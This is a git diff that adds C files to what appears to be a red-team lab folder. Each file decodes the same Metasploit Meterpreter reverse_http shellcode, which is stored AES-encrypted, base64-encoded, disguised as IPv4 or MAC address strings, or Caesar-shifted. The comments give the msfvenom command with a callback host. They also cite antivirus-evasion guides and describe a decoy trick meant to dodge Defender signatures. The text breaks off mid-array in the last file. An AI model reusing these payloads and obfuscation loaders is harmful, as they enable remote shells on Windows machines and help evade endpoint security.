diff --git a/.gitignore b/.gitignore index 3f63031..efe3517 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,4 @@ -*_work.c +chromatophore/*_work.c output/ __pycache__ *.obj diff --git a/lab_results/metasploit/aes_work.c b/lab_results/metasploit/aes_work.c new file mode 100644 index 0000000..5453651 --- /dev/null +++ b/lab_results/metasploit/aes_work.c @@ -0,0 +1,63 @@ +#include +#include +#include +#pragma comment (lib, "crypt32.lib") +#pragma comment (lib, "advapi32") + +// compile: cl.exe /nologo /Tcaes.c /link /out:aes.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 + +int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) { + HCRYPTPROV hProv; + HCRYPTHASH hHash; + HCRYPTKEY hKey; + + if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){ + return -1; + } + if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){ + return -1; + } + if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){ + return -1; + } + if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){ + return -1; + } + + if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){ + return -1; + } + + CryptReleaseContext(hProv, 0); + CryptDestroyHash(hHash); + CryptDestroyKey(hKey); + + return 0; +} + +int main(void) +{ + + + char AESkey[] = { 0x44, 0xf0, 0xe3, 0x82, 0x9, 0x1c, 0x9f, 0xfa, 0x67, 0x1d, 0xea, 0xca, 0x90, 0xc5, 0x18, 0x52 }; + +char shellcode[] = { 0x24, 0xbd, 0x3a, 0x32, 0xfe, 0xda, 0xfc, 0x89, 0xad, 0x45, 0x5f, 0xc1, 0xdb, 0x36, 0x61, 0xf6, 0x36, 0xe, 0x2a, 0xb3, 0xbe, 0xe2, 0x44, 0x7b, 0xd7, 0xf1, 0xc4, 0x9f, 0x66, 0x42, 0x14, 0x6f, 0x2c, 0xe0, 0x5c, 0xca, 0xec, 0xeb, 0x0, 0xf7, 0x2b, 0x3a, 0x60, 0xb5, 0x11, 0x19, 0xb5, 0x42, 0x49, 0xc, 0x57, 0x40, 0x9f, 0x1a, 0xde, 0x6a, 0xb, 0x0, 0xf1, 0xfe, 0x17, 0xc1, 0xb3, 0x1d, 0x3, 0x42, 0xbd, 0xca, 0x5c, 0xdf, 0xf1, 0xb5, 0x19, 0x5c, 0x71, 0x36, 0xf8, 0xc8, 0x7d, 0x2f, 0xb1, 0xca, 0xc, 0x9d, 0x23, 0xd2, 0xc4, 0x7d, 0xd5, 0xd7, 0xd9, 0x74, 0x37, 0x8b, 0x13, 0x43, 0x8c, 0xbd, 0x9a, 0xc2, 0xa7, 0xc4, 0xbc, 0x4e, 0xe, 0xbc, 0xe0, 0xc4, 0x25, 0x49, 0x9c, 0x45, 0xf, 0x1, 0x9f, 0xce, 0xa5, 0x18, 0x9e, 0x13, 0xb6, 0x1d, 0x1, 0xda, 0x60, 0x12, 0x2b, 0xeb, 0x4a, 0xa4, 0xd4, 0x3c, 0xea, 0xff, 0x6f, 0x96, 0x9f, 0x15, 0x4e, 0xef, 0x40, 0xfa, 0xb6, 0x9c, 0x9b, 0xd6, 0x3d, 0x45, 0xfe, 0xa0, 0xc, 0xb4, 0x57, 0xda, 0xd5, 0x9b, 0xb3, 0xf2, 0xf1, 0xaf, 0x98, 0x52, 0x80, 0xb1, 0x59, 0x2a, 0x9b, 0xfe, 0x6a, 0x60, 0xe6, 0x8d, 0x98, 0xdd, 0x65, 0xa3, 0x5, 0x73, 0x6e, 0xbc, 0x3f, 0x1f, 0xa1, 0x70, 0x41, 0x9e, 0x55, 0x2e, 0x39, 0x8e, 0xd5, 0xc6, 0xb6, 0x4, 0x35, 0x3e, 0xaf, 0x67, 0x55, 0xce, 0xbc, 0x79, 0xe4, 0xf3, 0x8d, 0xe5, 0xe8, 0x5e, 0xd0, 0x94, 0xd1, 0x23, 0x4f, 0xf6, 0x61, 0x84, 0x46, 0xfe, 0xf, 0xe5, 0xc7, 0xf4, 0xac, 0x90, 0x82, 0x54, 0x5b, 0x44, 0x8c, 0x99, 0xc1, 0xd3, 0x56, 0x22, 0xd0, 0x90, 0xb9, 0x4e, 0xe2, 0x55, 0x39, 0xe5, 0xab, 0x93, 0xc2, 0xc0, 0xaa, 0x76, 0x7d, 0xc5, 0xf0, 0x7f, 0x9c, 0xcc, 0x57, 0x84, 0x9c, 0x72, 0x8b, 0xec, 0x5e, 0x8b, 0x3d, 0x35, 0x96, 0xf0, 0xb, 0xb2, 0x68, 0x79, 0x5b, 0xd0, 0x96, 0x16, 0x39, 0xd2, 0xd1, 0xeb, 0xc7, 0x44, 0x5f, 0x9c, 0xd1, 0xac, 0xce, 0x59, 0x9b, 0x2b, 0x13, 0x22, 0x88, 0x73, 0x78, 0x9c, 0xb1, 0xaf, 0x61, 0xb3, 0xbb, 0x89, 0xbc, 0xeb, 0xb9, 0xa3, 0x7f, 0xa, 0x46, 0xa0, 0x25, 0xa3, 0x9b, 0xc5, 0xa6, 0x40, 0x5b, 0xb7, 0x9f, 0x7c, 0xfa, 0xd1, 0xd6, 0x7d, 0xe0, 0x0, 0xfb, 0x4a, 0x99, 0xf7, 0x3b, 0xf3, 0x2, 0x60, 0x7d, 0xdf, 0x42, 0xc1, 0x93, 0x68, 0x71, 0x1, 0x20, 0x46, 0x80, 0x2b, 0x74, 0x80, 0xbd, 0x97, 0x8d, 0x86, 0xf8, 0x73, 0x12, 0x91, 0x95, 0xc8, 0x3a, 0xe9, 0xeb, 0x33, 0x8e, 0x55, 0xba, 0x78, 0x65, 0xda, 0x43, 0x1a, 0x8c, 0x8a, 0xc7, 0x37, 0xc6, 0x9d, 0xb9, 0xdd, 0xff, 0x13, 0x1, 0xe, 0x64, 0xa5, 0xc1, 0xa8, 0x57, 0x2, 0x2f, 0x4c, 0x50, 0x34, 0x7e, 0x98, 0x45, 0x2e, 0x9a, 0x88, 0x2e, 0xe6, 0xe, 0xd7, 0x26, 0x92, 0x4e, 0x8f, 0xb, 0x9, 0x12, 0x81, 0xd4, 0x70, 0x23, 0xb0, 0x2c, 0x84, 0xc6, 0xd8, 0xdd, 0xe5, 0xb3, 0xd8, 0x66, 0xf5, 0x76, 0x1a, 0x72, 0x3a, 0x77, 0x24, 0x64, 0x6e, 0xa0, 0x91, 0x36, 0x56, 0xad, 0xb7, 0xfa, 0x49, 0xe8, 0xf1, 0x53, 0xb7, 0x6b, 0xfb, 0xdd, 0x7, 0x6b, 0xb4, 0x5d, 0x63, 0x44, 0x71, 0x97, 0xd3, 0xf2, 0x36, 0xf1, 0x45, 0x72, 0x9e, 0x9d, 0xb6, 0xa1, 0xec, 0x9b, 0x7d, 0x39, 0xa0, 0x95, 0x28, 0xf7, 0x60, 0xc5, 0x25, 0x35, 0x56, 0x46, 0xe9, 0x42, 0xda, 0xdb, 0xa, 0xa7, 0x82, 0x18, 0x85, 0x94, 0x73, 0x8e, 0xd8, 0x49, 0xc, 0x5d, 0x3c, 0x39, 0x1, 0x70, 0x92, 0xd4, 0x3e, 0xcc, 0xea, 0x9, 0x32, 0x75, 0x7a, 0x28, 0x89, 0x9f, 0xad, 0x84, 0x3, 0xdd, 0xde, 0x3a, 0x84, 0x86, 0x2, 0xb2, 0x72, 0xe2, 0x16, 0xde, 0x81, 0x9b, 0x80, 0xe5, 0x7f, 0xc1, 0xf4, 0x84, 0x1e, 0x29, 0x18, 0xe3, 0xed, 0x44, 0x31, 0xc1, 0x2c, 0xc6, 0x19, 0xfa, 0x56, 0x15, 0xc8, 0xbe, 0x12, 0x6a, 0xc4, 0x63, 0x71, 0xc1, 0x7a, 0x59, 0x5c, 0x79, 0x91, 0xdd, 0x16, 0x2d, 0x21, 0x46, 0xd2, 0xed, 0x25, 0x81, 0x8b, 0xb5, 0x72, 0xd1, 0xa0, 0xde, 0x68, 0x1a, 0x60, 0xbf, 0x36, 0x74, 0xf2, 0x1e, 0xfc, 0xdf, 0x4c, 0x23, 0x66, 0xcd, 0x5d, 0xef, 0xf8, 0x2f, 0x85, 0xee, 0xc7, 0x8c, 0xc7, 0x63, 0xc7, 0x9c, 0x1a, 0x58, 0xa0, 0x84, 0x4f, 0xda, 0x5c, 0xd1, 0xd0, 0xf1, 0x88, 0xf9, 0x81, 0xd8, 0x5f, 0xdd, 0xe2, 0x18, 0x69, 0x79, 0xe1, 0xc, 0x5f, 0x80, 0xf8, 0xfa, 0x66, 0xa7, 0x54, 0x7a, 0xff, 0x61, 0x67, 0x98, 0xc7, 0xa7, 0x1e, 0x54, 0xe2, 0xe6, 0xb9, 0xbb, 0xd3, 0x7e, 0x94, 0x99, 0x82, 0x45, 0xb0, 0x49, 0x85, 0x43, 0x65, 0x10, 0xde, 0x5f, 0x1d, 0xb, 0xc3, 0x91, 0xbf, 0x9d, 0xcc, 0x7, 0x67, 0xbb, 0x4a, 0xd0, 0xcd, 0x11, 0x9d, 0xa7, 0xfd, 0x67, 0xea, 0x51, 0x81, 0x7e, 0x92, 0xf4, 0x7, 0x3f, 0xc0, 0xc8, 0x43, 0xbe, 0x5f, 0x2f, 0x77, 0x56, 0x20, 0x48, 0xd4, 0x1d, 0xa0, 0x8a, 0x7, 0xf1, 0xf6, 0x8b, 0x94, 0x55, 0xca, 0xd6, 0xe6, 0x8d, 0xca, 0xae, 0x6a, 0xad, 0x26, 0xe5, 0x70, 0xf3, 0xb8, 0x89, 0x46, 0x19, 0x41, 0x71, 0x73 }; + + AESDecrypt((char *) shellcode, sizeof(shellcode), AESkey, sizeof(AESkey)); + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + return 0; +} diff --git a/lab_results/metasploit/base64_work.c b/lab_results/metasploit/base64_work.c new file mode 100644 index 0000000..68da1d1 --- /dev/null +++ b/lab_results/metasploit/base64_work.c @@ -0,0 +1,67 @@ +#include +#include + + +int b64index(char c) { + if (c >= 'A' && c <= 'Z') return c - 'A'; + if (c >= 'a' && c <= 'z') return c - 'a' + 26; + if (c >= '0' && c <= '9') return c - '0' + 52; + if (c == '+') return 62; + if (c == '/') return 63; + return -1; +} + + +int base64_decode(const char* input, unsigned char* output) { + int len = strlen(input); + int out_idx = 0, val = 0, valb = -8; + + for (int i = 0; i < len; i++) { + int idx = b64index(input[i]); + if (idx == -1) continue; + val = (val << 6) + idx; + valb += 6; + if (valb >= 0) { + output[out_idx++] = (val >> valb) & 0xFF; + valb -= 8; + } + } + + return out_idx; +} + + +int main() { + + + const char* base64 = "/EiD5PDozAAAAEFRQVBSSDHSZUiLUmBIi1IYSItSIFFWSA+3SkpIi3JQTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ESLQCBJAdCLSBhQ41ZI/8lBizSITTHJSAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVhIAdBeWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1PocAAAAE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzEuMC4wLjAgU2FmYXJpLzUzNy4zNgBZU1pNMcBNMclTU0m6OlZ5pwAAAAD/1egQAAAAMTkyLjE2OC4xOTAuMTM0AFpIicFJx8BQAAAATTHJU1NqA1NJuleJn8YAAAAA/9XoSwAAAC91d0RpWVJOcmNtek83TV91cHNBQlB3al9sbmlrNDg3X0dhQjJTTXRlMWxqWGZEUHQ5OUZidFFBWDVxVmIxUmlBVEpPbnF2eHUtAEiJwVNaQVhNMclTSLgAAiiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX1NaSInxTTHJTTHJU1NJx8ItBhh7/9WFwHUfSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QC68zoVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V"; +DWORD shellcodeLen = 711; + + + BYTE* shellcode = (BYTE*)malloc(shellcodeLen); + if (!shellcode) { + fprintf(stderr, "Memory allocation failed.\n"); + return 1; + } + + base64_decode(base64, shellcode); + + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + + free(shellcode); + return 0; +} diff --git a/lab_results/metasploit/base64api_work.c b/lab_results/metasploit/base64api_work.c new file mode 100644 index 0000000..e7d80b3 --- /dev/null +++ b/lab_results/metasploit/base64api_work.c @@ -0,0 +1,51 @@ +#include +#include +#include + +#pragma comment(lib, "Crypt32.lib") + + +int main() { + + + const char* base64 = "/EiD5PDozAAAAEFRQVBSSDHSZUiLUmBIi1IYSItSIFFWSA+3SkpIi3JQTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ESLQCBJAdCLSBhQ41ZI/8lBizSITTHJSAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVhIAdBeWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1PocAAAAE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzEuMC4wLjAgU2FmYXJpLzUzNy4zNgBZU1pNMcBNMclTU0m6OlZ5pwAAAAD/1egQAAAAMTkyLjE2OC4xOTAuMTM0AFpIicFJx8BQAAAATTHJU1NqA1NJuleJn8YAAAAA/9XoSwAAAC91d0RpWVJOcmNtek83TV91cHNBQlB3al9sbmlrNDg3X0dhQjJTTXRlMWxqWGZEUHQ5OUZidFFBWDVxVmIxUmlBVEpPbnF2eHUtAEiJwVNaQVhNMclTSLgAAiiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX1NaSInxTTHJTTHJU1NJx8ItBhh7/9WFwHUfSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QC68zoVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V"; + + + DWORD shellcodeLen = 0; + + // First, get required buffer size + CryptStringToBinaryA(base64, 0, CRYPT_STRING_BASE64, NULL, &shellcodeLen, NULL, NULL); + + BYTE* shellcode = (BYTE*)malloc(shellcodeLen); + if (!shellcode) { + fprintf(stderr, "Memory allocation failed.\n"); + return 1; + } + + if (CryptStringToBinaryA(base64, 0, CRYPT_STRING_BASE64, shellcode, &shellcodeLen, NULL, NULL)) { + printf("shellcode (%lu bytes):\n", shellcodeLen); + fwrite(shellcode, 1, shellcodeLen, stdout); + printf("\n"); + } else { + fprintf(stderr, "Decoding failed. Error code: %lu\n", GetLastError()); + } + + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + + free(shellcode); + return 0; +} diff --git a/lab_results/metasploit/bin2ip_work.c b/lab_results/metasploit/bin2ip_work.c new file mode 100644 index 0000000..3ff72eb --- /dev/null +++ b/lab_results/metasploit/bin2ip_work.c @@ -0,0 +1,123 @@ +#include +#include +#include +#include +#pragma comment(lib, "Ntdll.lib") + +// read array of shellcode formatted as IPv4 addresses +// https://gitlab.com/ORCA000/hellshell/-/blob/main/IPv4Fuscation/Ipv4Fuscation.cpp +// https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f + +// compile: +// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2ipv4.c /link /OUT:bin2ipv4.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 + +// Define our ustring struct +struct ustring { + DWORD Length; + DWORD MaximumLength; + PUCHAR Buffer; +} _data, key; + +int DecodeIPv4Fuscation(const char* IPV4[], void * LpBaseAddress, int arrSize) { + // Defender will detect this function if we don't do something to change the signature + // Write some output to the NULL device + FILE* outfile = fopen("nul", "w"); + + PCSTR Terminator = NULL; + void * LpBaseAddress2 = NULL; + NTSTATUS STATUS; + int i = 0; + + for (int j = 0; j < arrSize; j++) { + LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i); + if (RtlIpv4StringToAddressA((PCSTR)IPV4[j], TRUE, &Terminator, LpBaseAddress2) != STATUS_SUCCESS) { + printf("[!] RtlIpv4StringToAddressA failed for %s result %x", IPV4[j], STATUS); + return 1; + } + else { + i = i + 4; + fputs("out", outfile); + } + + fclose(outfile); // close the decoy file + + } + return 0; +} + +int main(void) { + // Shellcode as array of IP Addresses + // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin + // python3 bin2ip.py -v 4 -i met.bin + + + const char* IPv4s[] = { + "252.72.131.228", "240.232.204.0", "0.0.65.81", "65.80.82.72", "49.210.101.72", + "139.82.96.72", "139.82.24.72", "139.82.32.81", "86.72.15.183", "74.74.72.139", + "114.80.77.49", "201.72.49.192", "172.60.97.124", "2.44.32.65", "193.201.13.65", + "1.193.226.237", "82.72.139.82", "32.139.66.60", "65.81.72.1", "208.102.129.120", + "24.11.2.15", "133.114.0.0", "0.139.128.136", "0.0.0.72", "133.192.116.103", + "72.1.208.68", "139.64.32.73", "1.208.139.72", "24.80.227.86", "72.255.201.65", + "139.52.136.77", "49.201.72.1", "214.72.49.192", "172.65.193.201", "13.65.1.193", + "56.224.117.241", "76.3.76.36", "8.69.57.209", "117.216.88.68", "139.64.36.73", + "1.208.102.65", "139.12.72.68", "139.64.28.73", "1.208.65.139", "4.136.65.88", + "65.88.72.1", "208.94.89.90", "65.88.65.89", "65.90.72.131", "236.32.65.82", + "255.224.88.65", "89.90.72.139", "18.233.75.255", "255.255.93.72", "49.219.83.73", + "190.119.105.110", "105.110.101.116", "0.65.86.72", "137.225.73.199", "194.76.119.38", + "7.255.213.83", "83.232.112.0", "0.0.77.111", "122.105.108.108", "97.47.53.46", + "48.32.40.87", "105.110.100.111", "119.115.32.78", "84.32.49.48", "46.48.59.32", + "87.105.110.54", "52.59.32.120", "54.52.41.32", "65.112.112.108", "101.87.101.98", + "75.105.116.47", "53.51.55.46", "51.54.32.40", "75.72.84.77", "76.44.32.108", + "105.107.101.32", "71.101.99.107", "111.41.32.67", "104.114.111.109", "101.47.49.51", + "49.46.48.46", "48.46.48.32", "83.97.102.97", "114.105.47.53", "51.55.46.51", + "54.0.89.83", "90.77.49.192", "77.49.201.83", "83.73.186.58", "86.121.167.0", + "0.0.0.255", "213.232.16.0", "0.0.49.57", "50.46.49.54", "56.46.49.57", + "48.46.49.51", "52.0.90.72", "137.193.73.199", "192.80.0.0", "0.77.49.201", + "83.83.106.3", "83.73.186.87", "137.159.198.0", "0.0.0.255", "213.232.75.0", + "0.0.47.117", "119.68.105.89", "82.78.114.99", "109.122.79.55", "77.95.117.112", + "115.65.66.80", "119.106.95.108", "110.105.107.52", "56.55.95.71", "97.66.50.83", + "77.116.101.49", "108.106.88.102", "68.80.116.57", "57.70.98.116", "81.65.88.53", + "113.86.98.49", "82.105.65.84", "74.79.110.113", "118.120.117.45", "0.72.137.193", + "83.90.65.88", "77.49.201.83", "72.184.0.2", "40.132.0.0", "0.0.80.83", + "83.73.199.194", "235.85.46.59", "255.213.72.137", "198.106.10.95", "83.90.72.137", + "241.77.49.201", "77.49.201.83", "83.73.199.194", "45.6.24.123", "255.213.133.192", + "117.31.72.199", "193.136.19.0", "0.73.186.68", "240.53.224.0", "0.0.0.255", + "213.72.255.207", "116.2.235.204", "232.85.0.0", "0.83.89.106", "64.90.73.137", + "209.193.226.16", "73.199.192.0", "16.0.0.73", "186.88.164.83", "229.0.0.0", + "0.255.213.72", "147.83.83.72", "137.231.72.137", "241.72.137.218", "73.199.192.0", + "32.0.0.73", "137.249.73.186", "18.150.137.226", "0.0.0.0", "255.213.72.131", + "196.32.133.192", "116.178.102.139", "7.72.1.195", "133.192.117.210", "88.195.88.106", + "0.89.73.199", "194.240.181.162", "86.255.213.144" }; + + // declare a variable for our shellcode size + unsigned int shellcode_size = (sizeof(IPv4s) / sizeof(IPv4s[0])) * 4; + + // Declare a buffer for storing our shellcode + PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + + // Decode IPs and copy into memory + if (DecodeIPv4Fuscation(&IPv4s, buffer, sizeof(IPv4s) / sizeof(IPv4s[0])) != 0) { + return -1; + } + + // create a new struct from the buffer we allocated + _data.Buffer = buffer; + _data.Length = shellcode_size; + + int idx = 0; + while ( idx < _data.Length) + { + if (idx == (shellcode_size - 1) ) + { + printf("0x%02x ", _data.Buffer[idx]); + } + else + { + printf("0x%02x, ", _data.Buffer[idx]); + } + idx++; + } + + return 0; +} + diff --git a/lab_results/metasploit/bin2mac_work.c b/lab_results/metasploit/bin2mac_work.c new file mode 100644 index 0000000..3b5dc77 --- /dev/null +++ b/lab_results/metasploit/bin2mac_work.c @@ -0,0 +1,110 @@ +#include +#include +#include +#include +#pragma comment(lib, "Ntdll.lib") + +// read array of shellcode formatted as MAC addresses +// https://gitlab.com/ORCA000/hellshell/-/blob/main/MacFuscation/MacFuscation.cpp +// https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f + +// compile: +// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2mac.c /link /OUT:bin2mac.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 + +// Define our ustring struct +struct ustring { + DWORD Length; + DWORD MaximumLength; + PUCHAR Buffer; +} _data, key; + +int DecodeMACFuscation(const char* MAC[], void * LpBaseAddress, int arrSize) { + PCSTR Terminator = NULL; + void * LpBaseAddress2 = NULL; + NTSTATUS STATUS; + int i = 0; + for (int j = 0; j < arrSize; j++) { + LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i); + if (RtlEthernetStringToAddressA((PCSTR)MAC[j], &Terminator, LpBaseAddress2) != STATUS_SUCCESS) { + printf("[!] RtlEthernetStringToAddressA failed for %s result %x", MAC[j], STATUS); + return 1; + } + else { + i = i + 6; + } + } + return 0; +} + +int main(void) { + // Shellcode as array of MAC Addresses + // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin + // python3 bin2mac.py -i met.bin + + + const char* MACs[] = { + "fc-48-83-e4-f0-e8", "cc-00-00-00-41-51", "41-50-52-48-31-d2", "65-48-8b-52-60-48", + "8b-52-18-48-8b-52", "20-51-56-48-0f-b7", "4a-4a-48-8b-72-50", "4d-31-c9-48-31-c0", + "ac-3c-61-7c-02-2c", "20-41-c1-c9-0d-41", "01-c1-e2-ed-52-48", "8b-52-20-8b-42-3c", + "41-51-48-01-d0-66", "81-78-18-0b-02-0f", "85-72-00-00-00-8b", "80-88-00-00-00-48", + "85-c0-74-67-48-01", "d0-44-8b-40-20-49", "01-d0-8b-48-18-50", "e3-56-48-ff-c9-41", + "8b-34-88-4d-31-c9", "48-01-d6-48-31-c0", "ac-41-c1-c9-0d-41", "01-c1-38-e0-75-f1", + "4c-03-4c-24-08-45", "39-d1-75-d8-58-44", "8b-40-24-49-01-d0", "66-41-8b-0c-48-44", + "8b-40-1c-49-01-d0", "41-8b-04-88-41-58", "41-58-48-01-d0-5e", "59-5a-41-58-41-59", + "41-5a-48-83-ec-20", "41-52-ff-e0-58-41", "59-5a-48-8b-12-e9", "4b-ff-ff-ff-5d-48", + "31-db-53-49-be-77", "69-6e-69-6e-65-74", "00-41-56-48-89-e1", "49-c7-c2-4c-77-26", + "07-ff-d5-53-53-e8", "70-00-00-00-4d-6f", "7a-69-6c-6c-61-2f", "35-2e-30-20-28-57", + "69-6e-64-6f-77-73", "20-4e-54-20-31-30", "2e-30-3b-20-57-69", "6e-36-34-3b-20-78", + "36-34-29-20-41-70", "70-6c-65-57-65-62", "4b-69-74-2f-35-33", "37-2e-33-36-20-28", + "4b-48-54-4d-4c-2c", "20-6c-69-6b-65-20", "47-65-63-6b-6f-29", "20-43-68-72-6f-6d", + "65-2f-31-33-31-2e", "30-2e-30-2e-30-20", "53-61-66-61-72-69", "2f-35-33-37-2e-33", + "36-00-59-53-5a-4d", "31-c0-4d-31-c9-53", "53-49-ba-3a-56-79", "a7-00-00-00-00-ff", + "d5-e8-10-00-00-00", "31-39-32-2e-31-36", "38-2e-31-39-30-2e", "31-33-34-00-5a-48", + "89-c1-49-c7-c0-50", "00-00-00-4d-31-c9", "53-53-6a-03-53-49", "ba-57-89-9f-c6-00", + "00-00-00-ff-d5-e8", "4b-00-00-00-2f-75", "77-44-69-59-52-4e", "72-63-6d-7a-4f-37", + "4d-5f-75-70-73-41", "42-50-77-6a-5f-6c", "6e-69-6b-34-38-37", "5f-47-61-42-32-53", + "4d-74-65-31-6c-6a", "58-66-44-50-74-39", "39-46-62-74-51-41", "58-35-71-56-62-31", + "52-69-41-54-4a-4f", "6e-71-76-78-75-2d", "00-48-89-c1-53-5a", "41-58-4d-31-c9-53", + "48-b8-00-02-28-84", "00-00-00-00-50-53", "53-49-c7-c2-eb-55", "2e-3b-ff-d5-48-89", + "c6-6a-0a-5f-53-5a", "48-89-f1-4d-31-c9", "4d-31-c9-53-53-49", "c7-c2-2d-06-18-7b", + "ff-d5-85-c0-75-1f", "48-c7-c1-88-13-00", "00-49-ba-44-f0-35", "e0-00-00-00-00-ff", + "d5-48-ff-cf-74-02", "eb-cc-e8-55-00-00", "00-53-59-6a-40-5a", "49-89-d1-c1-e2-10", + "49-c7-c0-00-10-00", "00-49-ba-58-a4-53", "e5-00-00-00-00-ff", "d5-48-93-53-53-48", + "89-e7-48-89-f1-48", "89-da-49-c7-c0-00", "20-00-00-49-89-f9", "49-ba-12-96-89-e2", + "00-00-00-00-ff-d5", "48-83-c4-20-85-c0", "74-b2-66-8b-07-48", "01-c3-85-c0-75-d2", + "58-c3-58-6a-00-59", "49-c7-c2-f0-b5-a2", "56-ff-d5-90-90-90" }; + + // declare a variable for our shellcode size + unsigned int shellcode_size = (sizeof(MACs) / sizeof(MACs[0])) * 6; + printf("shellcode size: %d\n", shellcode_size); + printf("size of array: %d\n", sizeof(MACs) / sizeof(MACs[0])); + + // Declare a buffer for storing our shellcode + PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + + // Decode IPs and copy into memory + if (DecodeMACFuscation(&MACs, buffer, sizeof(MACs) / sizeof(MACs[0])) != 0) { + return -1; + } + + // create a new struct from the buffer we allocated + _data.Buffer = buffer; + _data.Length = shellcode_size; + + int idx = 0; + while ( idx < _data.Length) + { + if (idx == (shellcode_size - 1) ) + { + printf("0x%02x ", _data.Buffer[idx]); + } + else + { + printf("0x%02x, ", _data.Buffer[idx]); + } + idx++; + } + + return 0; +} + diff --git a/lab_results/metasploit/caesar_work.c b/lab_results/metasploit/caesar_work.c new file mode 100644 index 0000000..1f54b97 --- /dev/null +++ b/lab_results/metasploit/caesar_work.c @@ -0,0 +1,37 @@ +#include +#include + +int main(void) +{ + + char caesar[711] = {0x9, 0x55, 0x90, 0xf1, 0xfd, 0xf5, 0xd9, 0xd, 0xd, 0xd, 0x4e, 0x5e, 0x4e, 0x5d, 0x5f, 0x55, 0x3e, 0xdf, 0x72, 0x55, 0x98, 0x5f, 0x6d, 0x55, 0x98, 0x5f, 0x25, 0x55, 0x98, 0x5f, 0x2d, 0x5e, 0x63, 0x55, 0x1c, 0xc4, 0x57, 0x57, 0x55, 0x98, 0x7f, 0x5d, 0x5a, 0x3e, 0xd6, 0x55, 0x3e, 0xcd, 0xb9, 0x49, 0x6e, 0x89, 0xf, 0x39, 0x2d, 0x4e, 0xce, 0xd6, 0x1a, 0x4e, 0xe, 0xce, 0xef, 0xfa, 0x5f, 0x55, 0x98, 0x5f, 0x2d, 0x98, 0x4f, 0x49, 0x4e, 0x5e, 0x55, 0xe, 0xdd, 0x73, 0x8e, 0x85, 0x25, 0x18, 0xf, 0x1c, 0x92, 0x7f, 0xd, 0xd, 0xd, 0x98, 0x8d, 0x95, 0xd, 0xd, 0xd, 0x55, 0x92, 0xcd, 0x81, 0x74, 0x55, 0xe, 0xdd, 0x51, 0x98, 0x4d, 0x2d, 0x56, 0xe, 0xdd, 0x98, 0x55, 0x25, 0x5d, 0xf0, 0x63, 0x55, 0xc, 0xd6, 0x4e, 0x98, 0x41, 0x95, 0x5a, 0x3e, 0xd6, 0x55, 0xe, 0xe3, 0x55, 0x3e, 0xcd, 0xb9, 0x4e, 0xce, 0xd6, 0x1a, 0x4e, 0xe, 0xce, 0x45, 0xed, 0x82, 0xfe, 0x59, 0x10, 0x59, 0x31, 